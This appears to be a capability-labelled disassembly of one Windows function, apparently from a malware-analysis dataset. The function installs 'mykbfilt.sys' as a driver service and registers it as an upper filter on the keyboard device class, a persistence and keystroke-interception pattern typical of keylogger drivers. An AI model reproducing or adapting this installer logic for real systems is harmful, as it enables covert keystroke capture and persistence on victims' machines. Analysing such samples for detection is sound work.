Function at 0x401070
Capabilities:
Copy file
Get common file path
Persist via windows service
Query or enumerate registry value
Set registry value

Disassembly:
sub esp, 0x320
push ebx
push ebp
push esi
push edi
lea eax, [esp + 0x24]
xor ebx, ebx
push 0x104
push eax
push ebx
mov dword [esp + 0x20], ebx
mov dword [esp + 0x1c], ebx
mov byte [esp + 0x30], bl
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
je 0x4010b4
lea ecx, [esp + 0x24]
push 0x5c
push ecx
call dword [sym.imp.MSVCRT.dll_strrchr]
add esp, 8
cmp eax, ebx
je 0x4010b4
mov byte [eax + 1], bl
mov edi, str.mykbfilt.sys
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x24]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push 0x104
mov esi, edi
mov ebp, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebp
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebp
lea eax, [esp + 0x230]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
mov edi, str.driversmykbfilt.sys
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x22c]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push ebx
mov esi, edi
mov ebp, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebp
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebp
lea eax, [esp + 0x230]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x2c]
push ecx
call dword [sym.imp.KERNEL32.dll_CopyFileA]
test eax, eax
je 0x4012a2
lea edx, [esp + 0x10]
push edx
push str.SystemCurrentControlSetServicesmykbfilt
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
test eax, eax
jne 0x4012a2
mov ecx, dword [esp + 0x10]
mov ebp, dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
lea eax, [esp + 0x1c]
push 4
push eax
push 4
push ebx
mov esi, 1
push str.Type
push ecx
mov dword [esp + 0x34], esi
call ebp
mov eax, dword [esp + 0x10]
lea edx, [esp + 0x1c]
push 4
push edx
push 4
push ebx
push str.ErrorControl
push eax
mov dword [esp + 0x34], esi
call ebp
mov edx, dword [esp + 0x10]
lea ecx, [esp + 0x1c]
push 4
push ecx
push 4
push ebx
push str.Start
push edx
mov dword [esp + 0x34], 3
call ebp
mov eax, dword [esp + 0x10]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea ecx, [esp + 0x10]
push ecx
push str.SystemCurrentControlSetControlClass4D36E96B_E325_11CE_BFC1_08002BE10318
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
test eax, eax
jne 0x4012a2
lea edx, [esp + 0x18]
lea eax, [esp + 0x128]
push edx
mov edx, dword [esp + 0x14]
lea ecx, [esp + 0x24]
push eax
push ecx
push ebx
push str.UpperFilters
push edx
mov dword [esp + 0x30], 0x104
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x4012a2
mov eax, dword [esp + 0x18]
push str.mykbfilt
lea ecx, [esp + 0x12c]
push eax
push ecx
call section..text
add esp, 0xc
test eax, eax
jne 0x4012ac
mov edi, str.mykbfilt
or ecx, 0xffffffff
mov edx, dword [esp + 0x18]
repne scasb al, byte es:[edi]
not ecx
lea esi, [esp + edx + 0x127]
sub edi, ecx
mov eax, ecx
mov dword [esp + 0x18], esi
mov esi, edi
mov edi, dword [esp + 0x18]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, str.mykbfilt
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov eax, dword [esp + 0x10]
add edx, ecx
lea ecx, [esp + 0x128]
mov dword [esp + 0x18], edx
mov byte [esp + edx + 0x128], bl
inc edx
push edx
mov edx, dword [esp + 0x24]
push ecx
push edx
push ebx
push str.UpperFilters
push eax
call ebp
test eax, eax
je 0x4012ac
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [esp + 0x14], eax
mov eax, dword [esp + 0x10]
pop edi
pop esi
pop ebp
cmp eax, ebx
pop ebx
je 0x4012bf
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, dword [esp + 4]
add esp, 0x320
ret